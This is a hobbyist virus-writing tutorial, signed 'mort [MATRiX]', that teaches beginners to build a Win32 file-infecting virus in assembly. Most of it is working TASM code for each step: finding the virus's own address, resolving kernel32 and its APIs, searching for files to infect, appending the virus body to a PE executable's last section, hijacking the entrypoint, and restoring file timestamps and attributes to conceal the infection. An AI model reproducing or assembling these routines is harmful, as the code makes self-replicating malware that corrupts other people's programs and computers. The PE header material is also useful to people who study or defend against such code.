Win32 VX tutorial
by mort [MATRiX]
This article is for educational purpose only and I AM NOT responsibille for anything nor my english, nor myself,...anyway, enjoy it...
( forewords )
Well, forewords,... i have no fucking idea what to write into this part. Anyway, this will be article for absolute lamie who wants to teach write a win32 virii. When i wanted to write my first virii (not so long ago) i'd like to have something like this (hehe, i had LordJulus one, anyway i wanna to write my own :)). You, the reader, are assumed to know some of assembler coding (TASM forever:)).
(index)
( here we go - I. delta handle )
Let see what is happened with infected file when is executed. Mostly the first executed if not using EPO (see my EPO article) is the virus code. First the virus has to do (if not using some strange method) is getting the delta handle. Delta handle is numeric value which helps u access the variables and other stuff in virus body. The easiest way to explain is this code:
call @delta @delta: pop ebp ;ebp contains address of @delta right now in sub ebp,offset @delta ;memory -> we must sub the linking @delta val
To access variables use this code:
mov eax,[ebp + offset _variable] ;get value of variable lea eax,[ebp + offset _variable] ;get offset of variable
Sure, u can use other registers to carry delta handle, but other register are more helpfull in coding then ebp.
SEH stands for Structured Exception Handler and is use for avoiding BSOD (blue screen of death :) which appears if there is happen some exception. Most usuall way to create exception is write to some read-only part of memory.
SEH consist of two dwords. First points to 'old SEH' the second to 'new SEH'. When host is loaded fs:[0] points to SEH. See the code: push dword ptr fs:[0] ;save new, now 'old SEH' to stack call @SEH ;save new 'new SEH' to stack @newSEH: mov esp,[esp + 8] ;load old stack pop eax ;clear stack pop dword ptr fs:[0] ;restore old SEH jmp @whereEverUWant ;if we're here -> something bad occured ;better to leave back to host,... @SEH: ;now we have two dwords saved on stack - new and old SEH mov dword ptr fs:[0],esp ;set new SEH ;from this part we can safely write everywhere ;if exception occurs code will jump to @newSEH label
I have no idea how SEH is working inside, anyway this is all we need to know,...:)
Windows kernell is connected to win32 subsystem which offers to us APIs. In win NT there's also POSIX and OS/2 subsytem, but thats not we are interested in. Win32 is the basic subsytem for windows. APIs are access- able via DLLs mapped on process's address space. The most usefull DLL for virii is kernell32.dll (next only kernell). To get APIs' address from this DLL we must found its base - address in memory it starts on. There are two ways i know to get kernell base.(well i know third, get base with the help of import in infected host,...check Lord Julus's article).
The first one is using the stack value right after host executing. This value is supposed to b from some part of kernell. So by this, we retrieve some address from kernell - we dont know where it is. Let see the things we know:
See the code:
mov eax,[esp] ;get stack 'kernell' value and eax,0fffff000h ;set it to align value mov ecx,050h ;page numbers,...-1 could be good too @loopie: cmp word ptr [eax],'ZM' ;check if we found kernell MZ header jz @mayBe @eou: sub eax,01000h ;sub one page from 'base locator' dec ecx ;decrease page counter jnz @loopie jmp @fakinWedr ;no kernell - no virii @mayBe: xchg eax,ebx ;save kernell base add eax,[eax + 03ch] ;get PE address from MZ header cmp word ptr [eax],'EP' ;check if PE header xchg eax,ebx jnz @eou ;if our code will come here there is kernell base in eax
The second way do not use "stack kernel value", but using SEH to check the base. There're some version of windows -> there're some versions kernell bases. If we have some bases we can use them all to check if it's kernell base.
See the code (fragments of Win32.ls):
cld ;set direction lea esi,[ebp + offset _kernells - @delta] ;offset of kernnels @nextKernell: lodsd ;load base to check push esi ;save kernells offset location inc eax ;check if we checked the last base jz @bad ;yea -> no kernell base found push ebp ;save delta handle call @kernellSEH ;standard SEH call :) mov esp,[esp + 08h] ;restore stack @bad1: pop dword ptr fs:[0] ;restore old SEH pop eax ;clear stack pop ebp ;get back delta handle pop esi ;get pointer to next kernell base jmp @nextKernell ;go to check next kernell base @bad: pop eax ;we failed,... jmp @returnHost ;the most common kernell bases _kernells label dd 077e80000h - 1 ;NT 5 dd 0bff70000h - 1 ;w9x dd 077f00000h - 1 ;NT 4 dd -1 @kernellSEH: push dword ptr fs:[0] ;setup new SEH mov dword ptr fs:[0],esp mov ebx,eax ;save base xchg eax,esi xor eax,eax lodsw ;read 1st word from base not eax ;check if it's MZ - start of EXE cmp eax,not 'ZM' jnz @bad1 ;nope -> try next base mov eax,[esi + 03ch] ;we found MZ-> check PE header add eax,ebx ;in eax is relative - add base xchg eax,esi lodsd ;read 1st dword from PE not eax cmp eax,not 'EP' ;check if PE -> found PE -> found kernell jnz @bad1 pop dword ptr fs:[0] ;set old SEH pop eax ebp esi ;clear stack ;ebx - kernel base, ebp - delta handle
We neednt check kernell base by checking MZ and PE header. There's other way. Assume we have base in eax: (see PE structure)
cmp eax,[eax + 0b4h] jnz @fuck cmp eax,[eax + 0104h] ;base stored in win2000 kernell jnz @fuck
We have kernell base -> we can search APIs,...
API stands for Application Programming Interface. It's set of functions we can use. APIs are accessable by case sensitive names. Due to writing normal program, we can use APIs by normal way - not in virus. In virii we must search for APIs in DLLs (DLL stands for dynamic-link library.) which export this APIs. Most usefull APIs for virus work is in kernell32.dll ( we have its base from III.part ). There are DLLs like GDI32.dll and such with other APIs, anyway kernell APIs are the basic. To find API adsresses we must know some of DLL structure.
win32 EXE and DLL file structure
(see appendix A for full MZ and PE record)
- start of file - 0 db 'MZ' mark of DOS executable ... 03ch dd ? relative address of PE header in file ... 0 db 'PE',0,0 mark of PE header ... 078h dd ? export section relative address ...
By the export section address we'll get into export section. All u need to know:
- start of the export section - ... 018h dd ? number of names 1) 01ch dd ? address of functions 2) 020h dd ? address of names 3) 024h dd ? address of odinals 4) ... ad 1) number of names of APIs exported by DLL ad 2) pointer to array of pointers to APIs addresses ad 3) pointer to array of pointers to APIs' names ad 4) pointer to array of pointers to APIs' ordinals
Each API has a name and an ordinal number by which we will check the address. Well, lets go search API step by step. Imagine we wanna find API address for UncleFuckerAPI. We search for 'UncleFuckerAPI' string in array of API names and must save the index of API in search. We'll use this index to get the ordinal number -> via it we'll get the API address.
- array of names' pointers 0 1 x [ dd ] [ dd ] ... [ dd ] | | | '-> 'UncleFuckerAPI' '-> 'AddAtomA' - array of ordinals x*2 -------->--. | [ dw ] [ dw ] ... [ dw ] | '---> y - array of addresses y*4 -----------. | [ dd ] [ dd ] ... [ dd ] | '---> UncleFuckerAPI address
Now, the whole code for search all APIs we need:
;eax and ebx contains kernell base add eax,[eax + 03ch] ;get PE of kernell mov eax,[eax + 078h] ;get export section relative add eax,ebx ;get export section address add eax,018h ;move to number of names xchg eax,esi push _APIcount ;push number of API we want lodsd ;load number of API names push eax ;save it to stack inc eax ;value we will decrement t get index of name push eax ;save it to stack lodsd ;load pointer to API adresses push eax ;save it to stack lodsd ;load pointer to names' addresses push eax ;save it to stack lodsd ;load pointer to ordinals' adresses push eax ;save it to stack mov eax,[esp + 4] ;get names array relative add eax,ebx ; '-> get right address xchg eax,esi @nextAPI: dec dword ptr [esp + 0ch] lodsd ;get name's relative add eax,ebx ; '-> get right address ;we have pointer to API name and we must recognize if this is API ;we need -> there're many ways of checking this,...find your own ;eg. check the names,...see appendix mov eax,[esp + 010h] ;get number of exported names sub eax,[esp + 0ch] ;decremented number -> eax holds the index shl eax,1 ;x*2 -> eax add eax,[esp] ;get ordinal possition (relative) add eax,ebx ;'-> get right address push esi ;save names' pointer possition xchg eax,esi xor eax,eax lodsw ;load word ordinal value to eax (y) shl eax,2 ;y*4 -> eax add eax,[esp + 0ch] ;get address possition (relative) add eax,ebx ;'-> get right address xchg eax,esi lodsd ;load address of API (relative) add eax,ebx ;'-> get right address ;we have API address in eax -> save it anywhere u want for later use pop esi ;restore names' pointer dec dword ptr [esp + 014h] ;decrement out API counter jnz @nextAPI @lastAPIDone: add esp,018h ;clear stack ;here, we have all APIs we need
The last i can mention is calling the API. Imagine we have and named array of APIs' addresses:
.. _xAPI dd ? _UncleFuckerAPI dd ? .. push parameter1 ;store parameters to stack push parameter1 ... push parameterX call [ebp + _UncleFuckerAPI] ;call API
( appendix )
It's obvious that to check if the API name we have is the one we need we need a name of this API in our virii to compare. Thats the one way: carry API names of APIs we need and compare them with the name. Another way is, we neednt hold long names of API, we can carry only their CRCs -> we need some function that count value for each API we need. This value must be unific. Have this we count the value of checked name and compare it with our value -> if pass, we have our API.
PS last comment to APIs' names - they are store in alphabetical order
If u're writing virii, u'r going to infect some files. To work with file we need it's full path. There several ways to get it. The most common is search via FindFirstFileA (FFF) and FindNextFileA API (FNF). FFF finds the first file in current directory and returns the handle of search. FNF search for next files in current directory and needs the handle of search from FFF like parameter.
push offset File Search structure push file mask to find call FindFirstFile \\\\\\\\\\\\\\\\\\\ returns hadnle of search push offset File Search structure push handle given from FindFirstFileA call call FindNextFileA \\\\\\\\\\\\\\\\\\\ returns 1 if succed, 0 if fail File Search structure max_path equ 260 filetime struc FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? filetime ends fileSearc struc FileAttributes dd ? CreationTime filetime ? LastAccessTime filetime ? LastWriteTime filetime ? FileSizeHigh dd ? FileSizeLow dd ? Reserved0 dd ? Reserved1 dd ? FileName db max_path dup(?) AlternateFileName db 13 dup(?) DB 3 DUP (?) fileSearch ends
I think parameters are clear. After succesfull calling FFF or FNF this structure will be filled with data about founded file.
If we no longer need the handle returned from FFF it's better to close it via FindClose API.
push search handle call FindClose \\\\\\\\\\\\\\\
FFF and FNF search for files in current directory. There're APIs to get and set current directory - Get(Set)CurrentDirectoryA.
push offset of buffer to store the current path push size of buffer to fill call GetCurrentDirectoryA \\\\\\\\\\\\\\\\\\\\\\\\\\ returns lenght of returned string. push offset of path to set call SetCurrentDirectoryA \\\\\\\\\\\\\\\\\\\\\\\\\\ returns: if succed the return value is nonzero
There're APIs to get the some system directories: GetWindowsDirectoryA and GetSystemDirectoryA
push size of buffer to fill push offset of buffer to store the windows path call GetWindowsDirectoryA \\\\\\\\\\\\\\\\\\\\\\\\\\ push size of buffer to fill push offset of buffer to store the system path call SystemDirectoryA \\\\\\\\\\\\\\\\\\\\\\
This APIs returns lenght of returned string.
Thats the basic informations u need to write some search routine. Sure there're more APIs deal with file searching. See SDK reference for them i wont waste the space with them,..All for file searching.
Well, file infecting,... to infect file we need some APIs to deal with. Windows use way of working with file called file mapping. It means that file is mapped on some address in proces' address space. If u change some byte in this address space, u change the byte in file. I described file mapping in my IPC article, so i wont describe it again. Go and read it,.. and assume that we have base address the file to infect is loaded on.
But first some words bout PE windows PE EXE structure. Windows code is divorced to sections - section for code, for (un)initialized data, for debug informations,... and so on. Each section has a header. Headers of sections are stored behind the PE header. We can add new section with our virri, or(more usuall) we can enlarge the last section and copy virii into it, and change entrypoint to point to our code. Well, there exist many ways of PE infecting, anyway, this is the best for understand. Well, lets go step by step. First we need to check if loaded file is PE executable one:
.---------------------------. /|MZ header | |P|---------------------------| |E|PE header | | |---------------------------| |e|CODE section header | |x|... | |e|DATA section header | |c|... | |u|unclefucker section header | eax - mapped file address |t|... | |a|---------------------------| mov edi,eax |b|CODE data | mov eax,'MZZM' |l|... | cmp ax,word ptr [edi] |e|---------------------------| jz @foundMZ \|DATA data :) | shr eax,010h |... | cmp ax,word ptr [edi] |---------------------------| jnz @notMZ |unclefucker data | |... | @foundMZ: '---------------------------'
I check the DOS header for MZ and ZM. To say the truth i never saw 'ZM' string in DOS header, but i read somewhere it can be used,... Get PE header:
mov eax,[edi + 3ch] ;get PE relative add eax,edi ;and right address xchg esi,eax lodsd ;load PE sign not eax cmp eax,not 'EP' ;check PE sign jnz @notPE ;leave if not PE
Now we have PE pointer. It's good to save some values from PE header for later use. Sections and whole file are aligned to some values. It's section align and file align value from PE header.
sub esi,4 ;get PE address mov ebx,edi ;ebx -> file base mov eax,[esi + 038h] ;get section align value mov [ebp + _secAlign],eax ;and save it mov eax,[esi + 03ch] ;get file align value mov [ebp + _fileAlign],eax ;and save it mov eax,[esi + 074h] ;get dir. number (see PE header) shl eax,3 ;8 bytes for each record push eax ;and save it xor eax,eax mov ax,[esi + 06h] ;load number of sections mov ecx,028h ;28 bytes for each section header dec eax ;seeking for last,... mul ecx ;and mul it pop edi ;load dir size add edi,eax ;add headers - 1 size add edi,esi ;add PE offset add edi,078h ;add PE size
Now edi points to last section header. It's the time to show header structure:
offset 0 db 8 dup(?) ;name of header eg. 'text' for code 8 dd ? ;virtual size 0ch dd ? ;virtual RVA 010h dd ? ;physical size 014h dd ? ;physical offset dd ?,?,? 024h dd ? ;sections flags
Virtual RVA and size values are used when the process is loaded in mem. or physical use(data stored on disk) is used physical size and offset.
_newFileSize = infect file size before infection,... _vSize = virus size xor edx,edx mov eax,[edi + 010h] ;get physical size of last section add eax,_vSize ;add our virri to it mov ecx,[ebp + _fileAlign] ;use file align to align it div ecx ;div it inc eax ;inc it to be align mul ecx ;and mul it sub eax,[edi + 010h] ;get aligned delta add [esi + 050h],eax ;and increase image size add [ebp + _newFileSize],eax ;add aligned size mov edx,[edi + 010h] ;save old physical size add [edi + 010h],eax ;and set new one or dword ptr [edi + 024h],0a0000020h ;set flags - see later mov eax,[edi + 0ch] ;get physical offset add eax,edx ;and get our copy address xchg [esi + 028h],eax ;set/get new/old entrypoint add eax,[esi + 034h] ;add imagebase to get entryaddress mov dword ptr [ebp + _hostIP],eax ;save old one push edx xor edx,edx mov eax,[edi + 08h] ;get virtual size mov ecx,[ebp + _secAlign] ;use section align to align it div ecx ;and dic it inc eax ;inc it to be align mul ecx ;and mul it,...:) mov [edi + 08h],eax ;set new virtual size pop edx mov eax,[edi + 014h] ;get physical offset add eax,edx ;add physical size add eax,ebx ;add file base xchg eax,edi lea esi,[ebp + @virusStart] ;get our virus entry mov ecx,_vSize ;virus size rep movsb ;and copy it to host
About the falgs,... each section has a flag's dword. It set the section read,write,read/write,...we must set last section writeable, coz we write into :),... we must or it with flags u see in code,...:)
Infection is nearly done. Now we must set new file size stored in _newFileSize variable. We set file pointer to end of file by calling SetEndOfFile and set end of file by same-naming API.
push 0 0 ;not important, but needed,...:) push dword ptr [ebp + _newFileSize] ;new file size,... push dword ptr [ebp + _fileHandle] ;handle given from call SetFilePointer ;CreateFileA API push dword ptr [ebp + _fileHandle] ;file handle -//- call SetEndOfFile
Next thing u r expect to do is set old time of file change. It's stored in file search structure. We do it by calling SetFileTime API.
lea eax,[ebp + _fileSearch.CreationTime] push eax ;CreationTime add eax,8 push eax ;LastAccessTime add eax,8 push eax ;LastWriteTime push dword ptr [ebp + _fileHandle] ;file handle call SetFileTime
It may occurs that file will be have an readable attribut. We can set normal attribut before mapping the file by SetFileAttributeA. After work is done we set old attribute which is stored in file search structure.
/ 020h ;normal attribute push -| \ dword ptr [ebp + _fileSearch.FileAttributes] ;old attribute lea eax,[ebp + _fileSearch.FileName] push eax call SetFileAttributes
And thats all for infecting,...
Closing,... hm, if u get here, you might read the article and it might helps u, i hope there's not so many mistakes i thing,...:) Please feel free to write me any comments or ideas...
mort[MATRiX]
. |\ | |.--. -|-. | || |.--|| | | \ m o r|t . .-'-----'\._''--'-. '--[MATRiX]-------' [mort@matrixvx.org] \\\\\\\\\\\\\\\\\\
(this info is not my source,..im not responsibile for bad info,...)
MZ record ofset 0 dw 'ZM' ;MZ identificator 2 dw ? ;last page bytes 4 dw ? ;file pages 6 dw ? ;reloc 8 dw ? ;header size in paragraphs 0ah dw ? ;minimum paragraph needed 0ch dw ? ;maximum paragraphs needed 0eh dw ? ;initial SS 010h dw ? ;initial SP 012h dw ? ;checksum 014h dw ? ;initial IP 016h dw ? ;initial CS 018h dw ? ;reloc address 01ah dw ? ;overlay number 01ch dd ? ;reserved 020h dw ? ;OEM dentifier 022h dw ? ;OEM information .... ;reserved 03ch dw ? ;PE header relative offset PE record offset 0 dd 'EP' ;PE indentificator 4 dw ? ;CPU type 6 dw ? ;number of sections 8 dd ? ;date time 0ch dd ? ;COFF pointer 010h dd ? ;COFF size 014h dw ? ;NT header size 016h dw ? ;PE flags nt header 018h dw ? ;NT header ID 01ah db ? ;linker major number 01bh db ? ;linker minor number 01ch dd ? ;code size 020h dd ? ;idata size 024h dd ? ;udata size 028h dd ? ;entrypoint RVA 02ch dd ? ;code base 030h dd ? ;data base 034h dd ? ;image base 038h dd ? ;sections align 03ch dd ? ;file align 040h dw ? ;OS major number 042h dw ? ;OS minor number 044h dw ? ;user major 046h dw ? ;user minor 048h dw ? ;subsys major 04ah dw ? ;subsys minor 04ch dd ? ;reserved 050h dd ? ;image size 054h dd ? ;header size 058h dd ? ;checksum 05ch dw ? ;subsystem 05eh dw ? ;DLL flags 060h dd ? ;stack reserve 064h dd ? ;stack commit 068h dd ? ;heap reserve 06ch dd ? ;heap commit 070h dd ? ;loader flags 074h dd ? ;number of RVA sizes 078h dd ? ;export RVA 07ch dd ? ;export size 080h dd ? ;import RVA 084h dd ? ;import size 088h dd ? ;resource RVA 08ch dd ? ;resource size 090h dd ? ;exception RVA 094h dd ? ;exception size 098h dd ? ;security RVA 09ch dd ? ;security size 0a0h dd ? ;fixup RVA 0a4h dd ? ;fixup size 0a8h dd ? ;debug RVA 0ach dd ? ;debug size 0b0h dd ? ;description RVA 0b4h dd ? ;description size 0b8h dd ? ;machine RVA 0bch dd ? ;machine size 0c0h dd ? ;tls RVA 0c4h dd ? ;tls size 0c8h dd ? ;loadconfig RVA 0cch dd ? ;loadconfig size dd ?,? ;hm? :) 0d8h dd ? ;iat RVA 0dch dd ? ;iat size dd ?,? dd ?,? dd ?,?